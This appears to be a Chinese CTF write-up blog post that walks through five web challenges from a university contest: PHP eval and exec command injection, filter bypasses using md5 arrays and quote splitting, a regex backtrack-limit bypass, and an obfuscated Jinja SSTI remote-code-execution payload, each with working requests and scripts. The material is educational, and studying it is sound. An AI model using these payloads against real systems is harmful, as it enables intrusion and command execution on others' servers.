2023 Aurora第一批入会赛 Writeup

前言

首次参加 CTF 比赛,虽然是校内比赛,难度不算太高,但还是显得准备不足。尤其是 php 部分,由于此前从未接触过 php,很多关于 php 特性的题目都卡了很久。

WEB

[easy]Welcome


一道很简单的 php 全局数组嵌套题, 对我来说难点在于: 如何在 HTTP 报文中表示一个 php 关联数组

第一步,分析题目

打开 url 后获取内容如下

<?php
highlight_file(__FILE__);
error_reporting(0);

eval($_REQUEST[$_POST[$_GET[$_COOKIE['Welcome']]]]['t']['o']['A']['u']['r']['o']['r']['a']);

?> 

首先判断可攻击语句, 发现含有 eval 函数, 该函数能将字符串转换为 php 代码并执行, 是危险函数
于是我们的目标就是使 eval 函数执行用户输入的代码
想要做到这一点, 必须深入分析

eval($_REQUEST[$_POST[$_GET[$_COOKIE['Welcome']]]]['t']['o']['A']['u']['r']['o']['r']['a']);
  1. $_COOKIE['Welcome'] 会被替代为 cookies 中名为 Welcome 的变量的值, 于是在请求头中添加 cookie: Welcome=a
  2. 在将 $_COOKIE['Welcome'] 替换为 a 后, $_GET[a] 会被替代为 get 请求参数 中参数名为 a 的值, 故在请求 url 后添加查询参数 ?a=b
  3. 依次类推 $_POST[b] 可以在请求体中添加 b=c, 重点是如何使 $_REQUEST[c] 成为一个 php 的关联数组

重点: 可以在 HTTP 请求报文中, 以 array[index_1][index_2][index_3]=value 的方式构造关联数组

第二步, 构造 HTTP 请求报文

使用 Burp Suite 抓包, 获取请求报文, 然后将其发送到 Repeater 中

GET / HTTP/2
Host: 4b7c9300-1515-4d47-b2fb-4941267425e7.actf-node.szu.moe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

然后根据第一步进行构造:

POST /?a=b HTTP/2
Host: 4b7c9300-1515-4d47-b2fb-4941267425e7.actf-node.szu.moe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/x-www-form-urlencoded
Cookie: Welcome=a
Content-Length: 38

b=c&c[t][o][A][u][r][o][r][a]=echo hi;

可以看到成功执行了 echo hi
在这里插入图片描述

接下来将 echo hi; 更换为特定的命令, 即可获取 flag;

  • 使用 system('ls /'); 发现根目录有可疑文件
    请添加图片描述
  • 使用 system('cat /flaggggaaaeeeiiou'); 读取文件, 成功 Capture The Flag!
    在这里插入图片描述

[easy]Listen to Me


第一步, 下载音乐, 并分析隐含内容

我习惯挂着 Burp Suite 做题, 所以一眼看到网页源码里引用了两个路径
请添加图片描述
一个是图片 hariki.jpg, 另一个是音乐 Axium_Crisis.mp3
引入图片是方式是 url(‘hikari.jpg’), 没法直接知道路径, 但是引用音乐使用的应该是相对路径, 说明这个音乐和当前页面同级, 于是访问 /Axium_Crisis.mp3 路由下载音乐
在这里插入图片描述然后根据题面, 我想是不是要将音乐转换为二进制再从中提取 flag, 然后就跑去搜: “音频隐写”
结果搜到了一个叫作 “mp3隐写” 的玩意, 里面提到了一种做法: 把mp3文件后缀名改为txt, 在里面找 password, 然后就发现文件末尾有一段 php 代码(笑死,一开始我还在想是不是把密码学的题出到web来了,直到看见这段 php)

<?php
    if(isset($_POST['pass'])){
        $pass = $_POST['pass'];
        if(md5($pass)==='80e0b2a2c1a1d6d47f9a9ff573c08c42'){
            echo exec("nc".$_POST['Tairitsu']);
        }
    }
    //index.php
?>
第二步 分析泄露的 php 代码, 找到可攻击的漏洞

分析这段 php 代码, 发现里面有一个不安全语句
echo exec("nc".$_POST['Tairitsu']);
这句话能让我们通过构造 post 载荷, 来使靶机执行我们想要的命令
但是要让 php 执行这段代码, 需要过两关:
1、post 关键字中要有 pass: if(isset($_POST['pass']))
2、pass 中携带的信息经 md5 加密后, 为 80e0b2a2c1a1d6d47f9a9ff573c08c42: if(md5($pass)==='80e0b2a2c1a1d6d47f9a9ff573c08c42')

第三步 确定 pass

其实就是一个输入密码的过程, pass 里面是密码, 密码对了, 你就能利用 exec 函数操作靶机
那密码是啥, 把代码中给出的 md5 字符串解密一下即可:
在这里插入图片描述

第四步 构造 Tairitsu

现在问题只剩下一个, 就是如何构造攻击载荷, 使echo exec("nc".$_POST['Tairitsu']);执行我们想要的命令
一开始我想的是用 ncat 进行反弹 shell, 因为 exec 后面跟了 nc 命令, 但是失败了, 然后尝试先用分号隔开 nc, 后面跟上其它命令, 成功
请求报文如下:

POST /index.php HTTP/2
Host: 189d720a-2853-42d2-b90c-8a0c3aad316f.actf-node.szu.moe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

pass=hikari&Tairitsu=;cd /;echo *

结果如下:
在这里插入图片描述
可以看到根目录包含的文件/文件夹被打印出来了
发现可疑文件 fl3gaaa 于是使用 payload: Tairitsu=;cd /;cat fl3gaaa 查看其内容
在这里插入图片描述
成功 Capture The Flag!

[medium]ezrce


第一步, 绕过限制, 获取页面源码

打开 url 后是以下页面
在这里插入图片描述
使用 Burp Suite 查看源码, 发现禁用了很多查看页面源代码的方式
但是由于用了 Burp Suite, 全都绕过了, 不需要理会(笑)

HTTP/1.1 200 OK
Server: nginx/1.17.10
Date: Sun, 29 Oct 2023 10:27:26 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 463
Connection: close
Content-Encoding: gzip
Vary: Accept-Encoding
X-Powered-By: PHP/7.4.33

<p style="font-family:arial;color:black;font-size:20px;text-align:center;">前端做得很low 请各位见谅Orz</p>
<p style="font-family:arial;color:black;font-size:30px;text-align:center;">Flag不在这里哦</p>
</body>
<!--try /shell.php-->
<script>
 document.οncοntextmenu=function() {
   alert("右键被禁用");
   return false;
  };
 document.onkeydown = function(e) {
    e = window.event || e;
    var k = e.keyCode;
    //屏蔽ctrl+u,F12键
    if ((e.ctrlKey == true && k == 85) || k == 123) {
      if (k == 85)
        alert("Ctrl+U被禁用!");
      else 
        alert("F12被禁用!");
      e.keyCode = 0;
      e.returnValue = false;
      e.cancelBubble = true;
      return false;
    }
 }
</script>

在源码中发现Hint: <!--try /shell.php-->
于是访问 url/shell.php, 获取内容如下:

<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['param1']?$_GET['param1']:'';
$b = $_GET['param2']?$_GET['param2']:'';
if($a!==$b&&md5($a)===md5($b)){
    if(isset($_GET['cmd'])){
        $cmd = $_GET['cmd'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|system|exec|shell_exec|tac|od|vi|vim/i", $cmd)){
            system($cmd);
        }
        else{
            die("Hacker!");
        }
    }
}
else{
    echo "Try hard!";
}
?>
Try hard!
第二步, 分析代码

首先发现不安全代码, 这是我们攻击的目标

$cmd = $_GET['cmd'];
...
system($cmd)

要成功执行这段代码, 需要过两关:
1.传入两个查询参数 param1 和 param2, 并且这两个参数需要满足

$a = $_GET['param1']?$_GET['param1']:'';
$b = $_GET['param2']?$_GET['param2']:'';
...
$a!==$b&&md5($a)===md5($b)

即找到两个字符串, 二者不相同但是经过 md5 加密后相同
这里有两种做法, 第一种是使用 md5 硬碰撞, 找到两串满足条件的字符串, 这个方法可以但不建议; 第二种方法是使用数组传参绕过, 原理是php数组在经过 md5 加密后结果都是 null
2.要绕过以下正则表达式

(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|system|exec|shell_exec|tac|od|vi|vim/i", $cmd))

可以发现该正则表达式过滤了大量关键字, 并且过滤了 所有数字、$符号、分号与空格 等等
关键字的过滤可以使用 关''键字 或者 关\键字 的方式绕过
空格的过滤可以使用 <>%20%09 等方式绕过
注: <> 有些时候无法使用, %09 虽然包含了数字, 但不会被检测数字的正则表达式拦, 查百度也看到了使用 {a,b} 的方式来绕过空格, 但是测试发现这题用不了这个方法

第三步, 根据分析, 构造pyload

可以构造 pyload: url/shell.php?param1[]=1&param2[]=2&cmd=ls%09/ 来查看根目录的所有文件
在这里插入图片描述
最后使用 url/shell.php?param1[]=1&param2[]=2&cmd=c’‘at%09/f’'lag 获取flag
在这里插入图片描述

[medium]JustPHP


第一步, 分析代码

访问 url 后获取内容如下:

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    include('flag.php');
    //do you know some function about PHP?
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==2333){
            die("No No No!");
        }
        if(preg_match("/[a-zA-z]|\./i", $num)){
            die("No No No!");
        }
        if(intval($num, 0) === 2333){
            echo "Level 1 OK!";
            echo "<br>";
            if(isset($_POST['ikun'])){
                $ikun = $_POST['ikun'];
                if(substr($ikun, 0, 4)==='ikun'&&substr($ikun, -11, 11)==='luchujijiao' && $ikun !== 'ikunluchujijiao'){
                    if(preg_match('/ikun.+?luchujijiao/is' , $ikun)){ //what is it? Are there some ways to bypass this preg_match? Maybe an article written by leavesong can give you answer.
                        die("你是假ikun!");
                    }
                    else{
                        echo "giegie很满意, 决定给你flag: ";
                        echo "<br>";
                        echo $flag;
                    }
                }
                else{
                    die("你是假ikun!");
                }
            }
            else{
                echo "You are not an ikun!";
            }
        }
        else{
            echo "nonono!";
            echo "<br>";
        }
    }
    else{
        echo "Give me a num.";
        echo "<br>";
    }
    
?> Give me a num.

代码比较长, 粗略分析可以知道, 这题需要过两关才能获得 flag

第二步, 过第一关

在这里插入图片描述
第一关需要我们传入一个查询参数 num, 并且需要满足三个条件

  1. num 本身不等于 2333
  2. 不包含大小写字母和小数点
  3. 经过 intval($num, 0) 变换后与 2333 相等

这里需要利用 intval 的特性来过关, intval 是 php 中用于获取变量整数值的函数, 语法如下:

intval(var, base)
// var指要转换成 integer 的数量值,base指转化所使用的进制
// 如果 base 是 0,通过检测 var 的格式来决定使用的进制:
// 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);
// 如果字符串以 "0" 开始,使用 8 进制(octal);
// 否则将使用 10 进制 (decimal)。

如此, 我们便可以使用 2333的八进制 来通过这个关卡, 传参 num=04435 即可

第三步, 过第二关

在这里插入图片描述
第二关需要我们传入一个名为 ikun 的 post 参数
这个参数需要满足:

  1. 前4个字符是 ikun, 后11个字符是 luchujijiao
  2. 正则匹配 preg_match('/ikun.+?luchujijiao/is' , $ikun) 需要返回 False, 但是这个正则表达式在匹配到形如 ikun + 任意字符串 + luchujijioa 的字符串后会返回 True

乍一看这是个不可能完成的任务, 第一个条件把 ikun 的形式锁死了: 必须是 ikun + xxx + luchujijiao, 但是这样又会被题中的正则表达式判定为 True
这里可以利用php则表达式的回溯上限来绕过, 我们使用 ikun=ikun + 超长字符串 + luchujijiao 来让正则表达式在匹配时超出其回溯上限, 这样的话php会防止代码超时而返回 False
由于 php 的回溯上限一般在 10的6次方 左右, 我们可以利用以下 python 脚本来获取 flag

import requests

url = "https://85f28e51-3244-47bc-adef-554ce20a19f3.actf-node.szu.moe/?num=04435"
data = {'ikun': 'ikun' + 'a' * (10**6 + 1) + 'luchujijiao'}

response = requests.post(url=url, data=data, verify=False)
print(response.text)

在这里插入图片描述
成功 Capture The Flag!

[medium]normalssti


第一步, 判断是否存在模板注入

访问题目 url, 能看到如下页面
在这里插入图片描述这里盲猜可以使用查询参数来传入 name, 于是尝试 url/?name=测试
在这里插入图片描述初步判断该网页使用了模板, 将变量 name 的内容渲染到了页面中, 接下来判断是否存在模板注入, 于是尝试 url/?name={{2*2}}
在这里插入图片描述可以发现页面中没有把 {{2*2}} 渲染出来, 而是将 2*2 给执行了, 说明存在模板注入

第二步, 绕过关键字进行模板注入

根据题目提示可以知道限制了很多关键词, 包括 _classinit
我们从原始 pyload 入手, 慢慢将限制绕过
原始 pyload:

''.__class__.__base__.__subclasses__()[100].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cmd').read()")

先解释一下这个 pyload

  • __class__ 获取对象的类
  • __base__ 获取指定类的父类
  • __subclasses__() 返回一个由 “该类的所有派生类” 组成的列表
  • __init__ 初始化方法, 返回一个对象
  • __globals__ 返回一个由 “当前命名空间下所有变量和函数” 组成的字典
  • 最后获取 eval 函数, 并在其中获得 os 模块, 以操作靶机的 shell

我们可以通过更改 payload 中 cmd 处的内容来让靶机执行我们的恶意命令, 从而获取 flag
那么要怎么绕过限制呢?经测试, 上述 pyload 中所有关键词均被拦截, 例如 class
在这里插入图片描述

  • 对于被禁用的关键词, 我们可以使用字符串拼接的方式绕过, 例如 ''c__class__ 可替换为 ''["__cla"+"ss__"]
  • 对于被禁用的下划线, 我们可以使用其十六进制作为替代: \x5f

于是我们可以利用以下 python 脚本来构造 pyload

shell = "''.__class__.__base__.__subclasses__()[100].__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('cmd').read()\")"
print(shell)

shell = shell.replace(".__class__", "[\"__cla\"+\"ss__\"]")
shell = shell.replace(".__base__", "[\"__ba\"+\"se__\"]")
shell = shell.replace(".__subclasses__", "[\"__subcla\"+\"sses__\"]")
shell = shell.replace(".__init__", "[\"__in\"+\"it__\"]")
shell = shell.replace(".__globals__", "[\"__glo\"+\"bals__\"]")
shell = shell.replace(".__builtins__", "[\"__bui\"+\"ltins__\"]")
shell = shell.replace("eval", "ev'+'al")
shell = shell.replace("\"__import__('os').popen('cmd').read()\"", "\"__imp\"+\"ort__('o'+'s').po\"+\"pen('cmd').re\"+\"ad()\"")

shell = shell.replace("_", "\\x5f")
print(shell)

最终 pyload: name={{''["\x5f\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"se\x5f\x5f"]["\x5f\x5fsubcla"+"sses\x5f\x5f"]()[100]["\x5f\x5fin"+"it\x5f\x5f"]["\x5f\x5fglo"+"bals\x5f\x5f"]["\x5f\x5fbui"+"ltins\x5f\x5f"]['ev'+'al']("\x5f\x5fimp"+"ort\x5f\x5f('o'+'s').po"+"pen('cmd').re"+"ad()")}}
将 cmd 替换为, ls /, 查看根目录文件
在这里插入图片描述
可以发现可疑文件 Aurora, 使用 cat /Aurora 后发现没有输出, 判断这是个文件夹, 于是使用 ls /Aurora 来查看其内容
在这里插入图片描述
可以看到 flag 在 /Aurora 中, 最后使用 cat /Aurora/flaaaagggg 成功 Capture The Flag!
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值